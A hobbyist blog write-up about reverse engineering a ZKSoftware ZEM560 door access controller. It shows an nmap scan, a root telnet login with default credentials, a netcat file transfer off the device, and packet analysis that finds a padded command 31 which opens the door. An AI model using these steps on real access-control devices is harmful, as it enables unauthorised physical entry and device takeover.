Or trying to reverse engineering a access control
Everything started with me trying to get my RaspBerry PI to unlock a door . The door I’m supposed to open has a access control , like that one :
So … that’s a shit/toy-ish/R$2k/access control and it fucking opens doors . How to get my rasp to control it ? No , I can’t just open it and read the UART or something — it costs 2k. I’m going to try to get remote control , NMAP TIME !
$ nmap -sV 10.0.3.-
Yeah , I use fish , I like autocomplete , I don’t memorize commands , judge me. If you don’t get it , if it was bash it would be a
* instead of a
- w/e .
Starting Nmap 7.12 ( https://nmap.org ) at 2016-07-10 23:15 BRT Nmap scan report for 10.0.3.117 Host is up (0.094s latency). Not shown: 994 closed ports PORT STATE SERVICE VERSION 23/tcp open telnet ZKSoftware ZEM560 access control device (Linux 2.6.24; MIPS)
Or something like that , there is a port missing
Open 23 ! And what the fuck is ZEM560 ? Googling aroung I’ve found that shit has already been pwned : blog.zerial.org/seguridad/vulnerar-la-seguridad-fisica-de-un-control-de-acceso-biometrico && blog.infobytesec.com/2014/07/perverting-embedded-devices-zksoftware_2920.html . Unfortunately they are all about the web panel , which is turned off in my case . But it have a series of default login/password for the telnet and one of them worked . I was going to brute force it , but it worked on the second try , wut .
$ telnet 10.0.3.117Trying 10.0.3.117…Connected to xxxxxxxxxxxxxxxEscape character is '^]'. Welcome to Linux (ZEM560) for MIPSKernel 2.6.24 Treckle on an MIPSZEM560 login: rootPassword:# iduid=0(root) gid=0(root) groups=0(root)
YEESSSS , root , lol , that was easy. Soooo , what the fucking is running and how to open the FUCKING door ?
# ps PID USER VSZ STAT COMMAND 1 root 3788 S init 2 root 0 SW< [kthreadd] 3 root 0 SW< [ksoftirqd/0] 4 root 0 SW< [events/0] 5 root 0 SW< [khelper] 40 root 0 SW< [kblockd/0] 48 root 0 SW< [ksuspend_usbd] 54 root 0 SW< [khubd] 57 root 0 SW< [kseriod] 75 root 0 SW [pdflush] 76 root 0 SW [pdflush] 77 root 0 SW< [kswapd0] 78 root 0 SW< [aio/0] 624 root 0 SW< [mtdblockd] 657 root 3788 S /bin/sh /etc/init.d/rcS 663 root 0 SW [eth0] 665 root 3852 S telnetd -l /bin/login 700 root 9396 S /mnt/mtdblock/inbiocomm 703 root 18516 S /mnt/mtdblock/main 5570 root 3852 S -sh 5573 root 3920 S /bin/login 5574 root 3852 R ps
“rcS” and “main” looks interesting , I’m gonna check it out .
# cd /mnt/mtdblock/# lsLANGUAGE.E firmware_20160615.log_bak LANGUAGE.S firmware_20160616.log_bak auto.sh firmware_20160619.log_bak custattstate.dat firmware_20160620.log_bak custvoice.dat firmware_20160623.log_bak data firmware_20160625.log_bak drivers firmware_20160702.log_bak dump.txt firmware_20160703.log_bak eerom.txt firmware_20160707.log_bak extlog.dat firmware_20160710.log extuser.dat font firmware_20160411.log_bak getf firmware_20160413.log_bak iengine.lic firmware_20160416.log_bak inbiocomm firmware_20160420.log_bak lconfig.bin firmware_20160422.log_bak lib firmware_20160423.log_bak lost+found firmware_20160426.log_bak main firmware_20160503.log_bak nprog.log firmware_20160507.log_bak number.log firmware_20160511.log_bak oplog.dat firmware_20160520.log_bak options.cfg firmware_20160521.log_bak sms.dat firmware_20160523.log_bak templatev10.dat firmware_20160524.log_bak test.sh firmware_20160525.log_bak transaction.dat firmware_20160527.log_bak udata.dat firmware_20160607.log_bak usbpower.zem500 firmware_20160609.log_bak user.dat firmware_20160610.log_bak wav firmware_20160613.log_bak workcode.dat firmware_20160614.log_bak
SOOOOOO MUUUUUCH THINGS TO LOOK ! ( and so many .log_bak , clean your shit )
# cat options.cfg TCPPort=4368 ~ShowSecond=0~PrinterFunOn=0ConnectMODEM=0 ~MaxUserFingerCount=10~OutSensorFunOn=0~ProductTime=~SerialNumber=AdmRetry=3 DtFmt=0 NetSpeed=0 HiSpeedNet=8 IPAddress=192.168.1.201 NetMask=255.255.255.0 ~MIFAREID=0~iCLASS=0~iCLASSID=0~iCLASSTYPE=0~RFFPC=1FPRetry=3 PwdRetry=3 HavePowerKey=1 LockPowerKey=0 ~ASFO=1AlwaysShowState=0 ~ShowState=1…etc etc
And it goes on , and on How the fuck I get the “main” binary out of there ?
On my pc :
$ nc -l -p 666 > main
On the very-fucking-expensive-shit :
# cat main | nc 192.168.0.42 666 #No idea what my IP was
And I know that’s a shitty way to transfer files , but it worked , yay. IDA time ? Maybe , but I’m a newbie in Reverse can’t even do the easy ones in the CTFs :’( What I was thinking ? Anyway , gonna leave this alone . The binary are here , if someone want to take a look : main
A week after …
I’ve found the piece of software that controls it : setup_soapAdminCA_V2_1_5.7z
And it has a button called “Liberar Acesso” , Read it “open the fucking door”
You just put the IP and the custom port , which by default is 4370 — that was the port I was talking about — and voilà ! It opens the door , any door!
What is easier ? Sniff the network or reverse the software ? Wireshark , always.
Some TCP , a lot of UDP going on . The connections starts with a
And ends with
Highlighted part is the data
Looking around the .pcap it looks like there is two kinds of commands , first one just send a number and has 8 bytes of data :
and the other sends a
0B 00 plus a string:
Googling around again — I should do this more often — I found this piece of gold github.com/dnaextrim/python_zklib . Fucking BIG thank you dnaextrim ! Random dude that reverse that insane custom protocol !
The zkconst.py has a lot of revealed commands :
CMD_CONNECT = 1000 CMD_EXIT = 1001 CMD_ENABLEDEVICE = 1002 CMD_DISABLEDEVICE = 1003 CMD_RESTART = 1004 CMD_POWEROFF = 1005CMD_ACK_OK = 2000 CMD_ACK_ERROR = 2001 CMD_ACK_DATA = 2002CMD_PREPARE_DATA = 1500 CMD_DATA = 1501CMD_USERTEMP_RRQ = 9 CMD_ATTLOG_RRQ = 13 CMD_CLEAR_DATA = 14 CMD_CLEAR_ATTLOG = 15CMD_WRITE_LCD = 66CMD_GET_TIME = 201 CMD_SET_TIME = 202CMD_VERSION = 1100 CMD_DEVICE = 11CMD_CLEAR_ADMIN = 20 CMD_SET_USER = 8 CMD_PREPARE_DATA = 1500 CMD_REFRESHOPTION = 1014 CMD_FREE_DATA = 1502 CMD_RESTART = 1004 CMD_REFRESHDATA = 1013LEVEL_USER = 0 LEVEL_ADMIN = 14
That first UDP packet sends
E8 03 as the first byte , which is 59395 in decimal , but
03 E8 (cs.umd.edu/class/sum2003/cmsc311/Notes/Data/endian.html) is 1000 in decimal ! WHICH IS THE FUCKING
CMD_CONNECT COMMAND ! Yeah , I got hyped , three days to figure this out
But nothing of “open the door” :’( So I’ve edited one of the zklib’s function to send custom commands :
And tried to send every one of the commands on the pcap to open the door and none worked :’( Even tried to send’em in the same order — I play a lot of CTFs , overthinking is my morning coffe .
There was two commands of the first type that it hasn’t been reversed ,
31 . Send them in my custom function didn’t work :’( After a lot of redbulls and dreaming about the packets , I’ve realized that the
31 command always have
00 00 attached to the final , which is odd . So I tried to attach a bunch of “A” in the end of the packet and IT WORKED ! THE DOOR OPENED ! FUCK YEAH ! weird as fuck , but yeah , done ! Just copy the script to the raspberry and it’s done .
YAAAAAAAAAAAAAAAY ! FIREWORKS !!!
Post Mortem :
1. My first tough was to figure out what to write in some /dev/ , if someones knows how, please comment
2. Probablly that protocol is not so custom and I’m just dumb
66 is the command to make that thing play a sound
4. You can edit a lot of this with root , A LOT
5- I’m n00b , sorry if I get something wrong
by Caio Lüders @caioluders